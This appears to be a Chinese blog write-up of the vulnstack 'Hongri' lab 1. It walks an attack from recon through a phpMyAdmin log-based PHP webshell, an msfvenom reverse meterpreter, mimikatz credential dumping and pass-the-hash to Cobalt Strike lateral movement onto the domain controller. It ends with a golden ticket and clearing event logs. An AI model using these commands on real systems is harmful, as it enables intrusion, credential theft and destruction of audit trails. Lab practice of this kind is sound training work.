ATT&CK实战系列(一)红日靶场1

红日靶场(一)

1.环境搭建

1. 实验环境拓扑如下:

首先网络拓扑结构如下所示,三台虚拟机的初始密码都是: hongrisec@2019

(开机提示密码已过期,更改为 qwer@123 即可)

image-20250510191759795

这里我们的Web服务器是win7虚拟机,其他两台虚拟机是域内成员,一台作为我们的DC,首先介绍一下什么是工作组和域。

工作组:将不同计算机按功能分别列入不同的组内,在一个大的单位内,可能有成百上千台电脑互相连接组成局域网,它们都会列在“网络(网上邻居)”内,如果这些电脑不分组,可想而知有多么混乱,要找一台电脑很困难。为了解决这一问题,就有了“工作组”这个概念,将不同的电脑一般按功能(或部门)分别列入不同的工作组中,如技术部的电脑都列入“技术部”工作组中,行政部的电脑都列入“行政部”工作组中。你要访问某个部门的资源,就在“网络”里找到那个部门的工作组名,双击就可以看到那个部门的所有电脑了。相比不分组的情况就有序的多了,尤其是对于大型局域网络来说。

域:域是一个有安全边界的计算机集合(安全边界的意思即一个域中的用户无法访问另外一个域中的资源),相比工作组而言,它有一个更加严格的安全管理机制,如果想访问域内资源,必须拥有一个合法的身份登录到该域中,你的权限取决于你在该域中的用户身份。

DC:域内管理者,活动目录的数据库(包括用户的账号信息)是存储在DC中的,一旦DC瘫痪,其他用户就不能登录该域,内网中最重要的也是拿到域内DC控制权。

2. 下载好镜像文件

下载地址: http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ (13G,需要百度网盘会员)

image-20250510192152329

3. 需要模拟内网和外网两个网段

Win7 虚拟机相当于网关服务器,所以需要两张网卡,一个用来向外网提供web服务,一个是通向内网。添加网络适配器如下图

配置win7 web服务网络

从网络拓扑图可知,需要模拟内网和外网两个网段,Win7虚拟机相当于网关服务器,所以需要两张网卡,

将 Win7 的网络适配器 1 设置成 NAT 模式(外网),网络适配器 2 设置成 VMnet1 仅主机模式(内网)

image-20250510192302854

配置Winserver 2008(DC)

我们直接将域控主机配置VMnet1网卡,如下所示

image-20250510192327391

配置win2k3网络(域成员)

域内主机win2003的网卡配置和DC配置一致,选择VMnet1网卡即可,与外网不连通

image-20250510192431746

kali:(攻击机 外:10.10.10.128)

windows7:(外:10.10.10.131 内:192.168.52.133)

windows2008:(内:192.168.52.138)

windows2003:(内:192.168.52.141)

开机之后win7更新一下Vmware TOOls


最后在 Win7 外网服务器主机的 C 盘找到 PhpStudy 启动 Web 服务

image-20250510192513244

靶场的环境搭建完毕


我这里本地连接设置为自动获得ip

image-20250510192542484

注意本地连接5这里要固定DNS服务器为域控的ip地址

4.虚拟网络设置

这里我们设置网络VMnet1和VMnet8,将VMnet1作为内网,VMnet8作为外网,其中需要注意的是,VMnet1的子网地址必须是192.168.52.0,否则后面win7的web服务无法开启

image-20250510192736733 image-20250510192751959

2.外网打点-信息收集

查看kali的IP地址:

ifconfig
image-20250510192913023

攻击机IP:10.10.10.128

1.主机发现

主机发现:

sudo arp-scan -l
image-20250510193003680

靶机:10.10.10.131


主机发现:

sudo nmap -sn 10.10.10.0/24    #-sn表示主机发现
image-20250510193056615

2.端口探测

(先在win7的防火墙关闭的情况下进行扫描)

-sT:以TCP协议进行扫描

--min-rate 10000:以最低10000的速率

-p-:全端口


扫描端口:

sudo nmap -sT --min-rate 10000 -p- 10.10.10.131
image-20250510193211767

先创建个文件夹用于存放结果:mkdir nmapscan

-oA:结果全ports格式输出到nmapscan文件中

扫描端口:

sudo nmap -sT --min-rate 10000 -p- 10.10.10.131 -oA nmapscan/ports
image-20250510193315242

信息查看:

image-20250510193335061

nmap格式,和扫描输出格式一样的

image-20250510193413411

3.端口过滤

grep过滤带有open的数据,awk以'/'为分割过滤第一行,paste中,s表示指定合并到一行,d表示指定分隔符

grep open ports.nmap | awk -F '/' '{print $1}' | paste -sd ','
image-20250510193438699

在进行一次变量指定:

ports=$(grep open ports.nmap | awk -F '/' '{print $1}' | paste -sd ',')
image-20250510193455700

4.详细信息探测TCP扫描

-sT:以TCP协议进行扫描

-sV:探测各服务的版本

-sC:用默认的脚本进行扫描

-O:探测操作系统的版本

-p:-p$ports,然后tab键,会把端口显示出来

nmap -sT -sV -sC -O -p$ports 10.10.10.131

nmap -sT -sV -sC -O -p80,135,139,445,1025,1026,1027,1028,1029,1030,3306 10.10.10.131
image-20250510193521581 image-20250510193531890

我们发现开放了80、3306、445以及139端口,这就提醒我们可以从3个方向入手,分别是web网页、mysql数据库以及SMB服务,我们首先试试SMB服务,看看有没有信息泄露,我们使用smbclient进行查看,但是并没有什么有价值的信息,我们还是从80端口出发,先扫一扫有没有后门目录

image-20250510193813184

3.外网打点-目录爆破

1.dirb扫描

dirb http://10.10.10.131/ | grep 'CODE:200'
image-20250510193920065

2.gobuster扫描

gobuster dir -u http://10.10.10.131 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip | grep 'Status: 200'
image-20250510194018390

3.dirsearch扫描

python dirsearch.py -u http://10.10.10.131/
image-20250510194052182

4.御剑

image-20250510194113328

还扫到了一个备份文件(beifen.rar),打开发现是yxcms的网站源码,应该部署着这个CMS 。

4.Web渗透-mysql日志

我们发现存在phpmyadmin后台,即著名的mysql数据库管理后台,我们尝试访问一下,我们先尝试一下弱密码root:root,发现成功登陆进去了,我们先尝试看看有没有nday漏洞给我们利用,先看版本号

image-20250510195322021

版本号为5.5.53,我们尝试去搜索该版本的历史漏洞

image-20250510195337472

并没有历史漏洞,所以我们得换一种思路去getshell,我们通过搜寻,可以知道phpmyadmin可以利用mysql日志文件写入shell进行getshell,我们尝试一下这种做法,以前还从来没这么做过

phpmyadmin getshell

查看日志是否开启

show global variables like '%general%';
image-20250510195417689

首先我们开启mysql日志,在运行框中运行下面的语句

set global general_log='on';   //⽇志保存状态开启;
image-20250510195442277

发现成功开启

image-20250510195454715

查看当前mysql路径

select @@basedir;
image-20250510195517014

接下来设置木马写入的路径,如下所示

set global general_log_file ="C:/phpStudy/WWW/shell.php"
image-20250510195540598

执行这条语句之后,日志会将select后的查询语句记录进日志,从而让日志变成一个一句话木马。

接下来我们写入一句话木马,如下所示

select "<?php eval($_POST['a'])?>"
image-20250510195602747

接下来我们直接访问shell.php即可

http://10.10.10.131/shell.php
image-20250510195706472

成功连接

image-20250510195719457 image-20250510195730356

首先先把主机防火墙关闭,方便我们进行进一步操作

netsh advfirewall set allprofiles state off
image-20250510195805624

5.Web渗透-YXCMS

我们再来看下部署的CMS,打开网站

image-20250510200031664

从右下角看到了网站后台的登录地址和默认账号密码,尝试登录

http://10.10.10.131/yxcms/index.php?r=admin
image-20250510200052929

成功登录。在前台模板功能里发现可以直接编辑php文件,尝试写入shell。

随便找一个文件添加一句话木马

image-20250510200116959

保存后,接下来就要想办法找到这个info.php所在的目录了,先来扫描一下后台

image-20250510200131890

点进去发现这个网站还存在敏感目录信息泄露

http://10.10.10.131/yxcms/protected/apps/default/view/default/
image-20250510200155153

找到了目标文件,尝试连接。

image-20250510200212694

成功连接


首先先把主机防火墙关闭,方便我们进行进一步操作

netsh advfirewall set allprofiles state off
image-20250510200241136

6.后渗透-msf反弹shell

接下来我们运行msf,使用msf上线主机,如下所示

msfvenom -p windows/meterpreter_reverse_tcp lhost=10.10.10.128 lport=5566 -f exe -o shell.exe
image-20250510200342881

我们将shell.exe通过蚁剑上传到靶机上去

image-20250510200400002

接着我们在kali上开启监听模式,持续监听连接

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.10.10.128
set lport 5566
run
image-20250510200441990

我们用蚁剑运行exe文件,如下所示

image-20250510200501409

我们的kali成功上线windows7,第一步我们进行权限维持

image-20250510200506465

7.后渗透-收集域内信息

内网信息收集的主要目的就是查找域控以及域控内的其他主机

net view                 # 查看局域网内其他主机名
net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器主机名(可能有多台)

首先判断是否存在域,我们使用 ipconfig /all 查看DNS服务器,我们发现存在域god.org

image-20250510200621492

也可以执行命令 net config Workstation 来查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等全面的信息

image-20250510200705674

接着我们使用 net view /domain 查看有几个域

image-20250510200729881

我们发现只有唯一一个域,接下来我们查看域控主机名

我们接着查询所有域内主机,如下所示net view

image-20250510200803754

接着我们查询域内IP,使用arp -a进行查询

image-20250510200815495

为了确定哪个是域控主机IP,我们尝试去ping一下域名

ping owa.god.org
image-20250510200855620
ping root-tvi862ubeh.god.org
image-20250510200902876

至此我们域内信息收集完毕

域名为 god

域中有三台主机:

stu1.god.org

root-tvi862ubeh.god.org 192.168.52.141

owa.god.org 192.168.52.138 域控主机

8.后渗透-权限维持

正常使用exe上线的情况下,会在任务管理器或者直接使用tasklist命令就都可以看到exe的进程,十分容易被发现,因此要把进程迁移到其他原有的进程上面,相当于寄生在别的进程上面,不容易被发现


在metepreter输入 ps查看当前进程

进行权限维持就是要将进程进行迁移,即将我们的shell.exe的进程附加在系统进程上

输入gitpid查看查看进程号

image-20250510201044409

当前这个exe运行pid号为2904


输入(migrate 进程号)命令可以将进程移动到指定进程里

migrate 2320

进程已被迁移至 2320


如果不知道迁移到哪

输入run post/windows/manage/migrate 系统自动会寻找指定的进程然后迁移

9.后渗透-横向移动

由于kali攻击机无法直接访问内网的Windows server 2008,所以只能通过在Windows7上面架设一个socks代理服务器,通过这个socks代理进入内网,从而控制Windows server 2008。

先使用earthworm在Windows7上面架设一个socks代理服务器:

正向代理:

ew.exe -s ssocksd -l 1080
image-20250510201145382

然后kali攻击机在本地配置好proxychains:

vim /etc/proxychains4.conf

在最下面添加需求的代理即可

socks5 10.10.10.131 1080
image-20250510201217550

这样我们就可以通过proxychains来使用这个socks代理服务器(10.10.10.140)的代理了可。

我们直接挂代理扫域控主机的端口

proxychains4 nmap -sT --min-rate 10000 -p- 192.168.52.138
image-20250510201240835

扫的太慢了,这里直接用别的大佬扫描好的

image-20250510201254277

我们发现开放了445端口,我们尝试使用永恒之蓝进行探测,但是没有成功

use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.52.138
run
image-20250510201327029

10.后渗透-哈希传递攻击拿下域控

哈希传递攻击:

在 kerberos、NTLM 认证过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击(Pass The Hash,简称 PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机。

攻击流程:

  1. 获得一台域控主机的权限,Dump内存获得该主机的用户密码Hash值;
  2. 通过哈希传递攻击尝试登录其他主机;
  3. 继续收集哈希并尝试远程登录,知道获得域管理员Hash,登录域控,控制整个域。

1) 首先:提权到system权限:

一是当前的权限是administrator用户;

二是利用其它手段先提权到administrator用户。然后administrator用户可以直接在meterpreter_shell中使用命令getsystem提权到system权限。

image-20250510201427281

2)进程迁移

kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。

所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。

查看进程信息:ps

image-20250510201448910

把进程迁移到PID为492这个程序中(因为当前用户):

注:因为目标系统是64位的所以需要把meterpreter进程迁移到一个64位程序的进程中。

migrate 492
image-20250510201512819
load kiwi #加载kiwi模块
help kiwi #查看kiwi模块的使用
creds_all:             #列举所有凭据
creds_kerberos:        #列举所有kerberos凭据
creds_msv:             #列举所有msv凭据
creds_ssp:             #列举所有ssp凭据
creds_tspkg:           #列举所有tspkg凭据
creds_wdigest:         #列举所有wdigest凭据
dcsync:                #通过DCSync检索用户帐户信息
dcsync_ntlm:           #通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:  #创建黄金票据
kerberos_ticket_list:  #列举kerberos票据
kerberos_ticket_purge: #清除kerberos票据
kerberos_ticket_use:   #使用kerberos票据
kiwi_cmd:              #执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:          #dump出lsa的SAM
lsa_dump_secrets:      #dump出lsa的密文
password_change:       #修改密码
wifi_list:             #列出当前用户的wifi配置文件
wifi_list_shared:      #列出共享wifi配置文件/编码

首先我们使用hashdump获取哈希值,如下所示

image-20250510201543710

列举系统中的明文密码: creds_all #列举所有凭据

image-20250510201556204
load wiki
image-20250510201607310
creds_all
image-20250510201633871

(如果这里还是显示原来的密码,可以多等待一些时间重新操作)

所以哈希值为

469d85e30803fcc042ec2c6254ee38ba

我们可以使用以下模块进行哈希传递

auxiliary/admin/smb/psexec_command  #在目标机器上执行系统命令

exploit/windows/smb/psexec          #用psexec执行系统命令

exploit/windows/smb/psexec_psh       #使用powershell作为payload

这里以exploit/windows/smb/psexec模块进行哈希传递攻击

msfconsole
use exploit/windows/smb/psexec
set rhosts 192.168.52.138
set smbuser administrator
set smbpass 00000000000000000000000000000000:469d85e30803fcc042ec2c6254ee38ba
set smbdomain god
run
image-20250510201737843

但是我们这里还是失败了,我们选择换一种方式,我们试着用cs进行上线,cs操作起来会更方便一点

11.后渗透-CS上线

1.打开cs

cs配置服务端

在kali上下载cs,进入cs目录,打开服务端

./teamserver 10.10.10.128 1234        //写上kali的ip还有随便写一个密码
image-20250510201813973

配置客户端

ip和密码填上刚刚服务端上写的ip还有密码

image-20250510201831937

2.创建监听器

首先我们先在CS上创建一个名为web的监听,选择hppt协议,端口设置为4444

image-20250510201847120

3. 创建 windows 可执行 exe 程序

image-20250510201905183

有效载荷->windows可执行程序(E)

image-20250510202118219

监听器选择刚刚创建的web,然后把后门文件保存在本地

image-20250510202128023 image-20250510202133626 image-20250510202139356

4.利用蚁剑上传后门,并启动

蚁剑上传后门—>打开蚁剑终端—>启动后门

image-20250510202227475

运行后门

image-20250510202238607

上线成功

image-20250510202249639

现在我们是administration权限,所以我们要提权

image-20250510202303171

选择我们刚刚创建的web监听器

image-20250510202315521

等待一会儿之后就发现权限成功提升了! system

image-20250510202326118

如果没关防火墙,可以先关闭一下win7的防火墙,防止后面出错

beacon> shell netsh advfirewall set allprofiles state off

由于受害机默认60秒进行一次回传,为了实验效果我们这里把时间设置成5,但实际中频率不宜过快,容易被发现。

image-20250510202349625

12.CS上线-内网信息收集

简单的信息收集

shell ipconfig                //查看网络
shell net user                //查看本地用户
shell net view                //列举计算机名
shell net config Workstation  //查看当前计算机名、域、登录域等信息
shell net view /domain        //看看几个域

1.查看网络适配器

shell ipconfig   //查看网络
image-20250510202453491

52是内网段

2.查看本地用户

shell net user  //查看本地用户
image-20250510202519023

3.查看计算机名

shell net view  //列举计算机名
image-20250510202536851

4.判断是否存在域

shell net config Workstation   //来查看当前计算机名、域、登录域等信息
image-20250510202552094

5.看看有几个域

shell net view /domain  //看看几个域
image-20250510202613070

发现只有一个GOD域

6.查看各个主机对应的IP

通过ping的方式可以得到:

shell ping owa.god.org
image-20250510202713958

也可以直接运行

net view
image-20250510202737126

7.端口扫描

浏览探测—>端口扫描—>52内网段

image-20250510202804521

这里只扫描几个常见的端口(如何没发现地址,可以等待一段时间)

image-20250510202821902

8.抓取明文密码

凭证提权—>抓取明文密码

image-20250510202856699
logonpasswords
image-20250510202911094

13.CS上线-内网横向

刚刚我们端口扫描的时候发现开放了445端口,可以创建SMB监听隧道。

  1. SMB监听隧道的核心原理是利用SMB协议在目标主机上建立隐蔽的通信通道,绕过传统防火墙和入侵检测系统的监控。
  2. SMB协议基础:文件共享,域名解析等,默认通过445端口通信

1.创建SMB监听器

image-20250510202945599

2.切换攻击目标列表

image-20250510203000591

3. 右建选择—> 横向移动 —> psexec

image-20250510203013523

psexec:是用于横向移动的核心工具之一。攻击者可以通过跳板机向目标主机发送命令,目标主机执行后,将结果返回给攻击者。但我认为这并不算上线,毕竟没有进行持久的连接,只是利用两个机器间的一些信任关系进行通信。

4.添加 用户名 密码 域名 -> 监听器 -> 对端连接的隧道

监听器选择我们刚刚创建的SMB监听器,对端连接的隧道选择system权限的

image-20250510203031344

横向成功,进入域控,记得养成好习惯关防火墙。

image-20250510203050825

shell netsh advfirewall set allprofiles state off

image-20250510203105064

14.权限维持(黄金票据)

黄金票据是指能够绕过认证授权机制并获得所需权限的票据。这种票据可以被攻击者收集和利用,从而从系统内部获取高权限,甚至完全控制系统。

1. 抓取 Hash 还有明文密码

把SID,域名,复制下来等下黄金票据要用

hash: 58e91a5ac358d86513ab224312314061:::

image-20250510203145554

SID: S-1-5-21-2952760202-1353902439-2381784089-1000

image-20250510203159562

域名:GOD.ORG

2.黄金票据配置

凭证提权—>黄金票据

image-20250510203219801

把刚刚复制的域名,SID粘贴上去,hash已经帮你自动抓取了,用户名随便

image-20250510203232588

ok成功

image-20250510203241758

15.痕迹清除

在渗透过程中,痕迹清除非常非常重要,不清除万一被溯源,容易被ban

shell wevtutil cl security               //清理安全日志
shell wevtutil cl system                 //清理系统日志
shell wevtutil cl application            //清理应用程序日志
shell wevtutil cl "windows powershell"   //清除power shell日志
shell wevtutil cl Setup                  //清除(cl)事件日志中的 "Setup" 事件。
posted @ 2025-05-10 20:36  Afa1rs  阅读(2025)  评论(0)    收藏  举报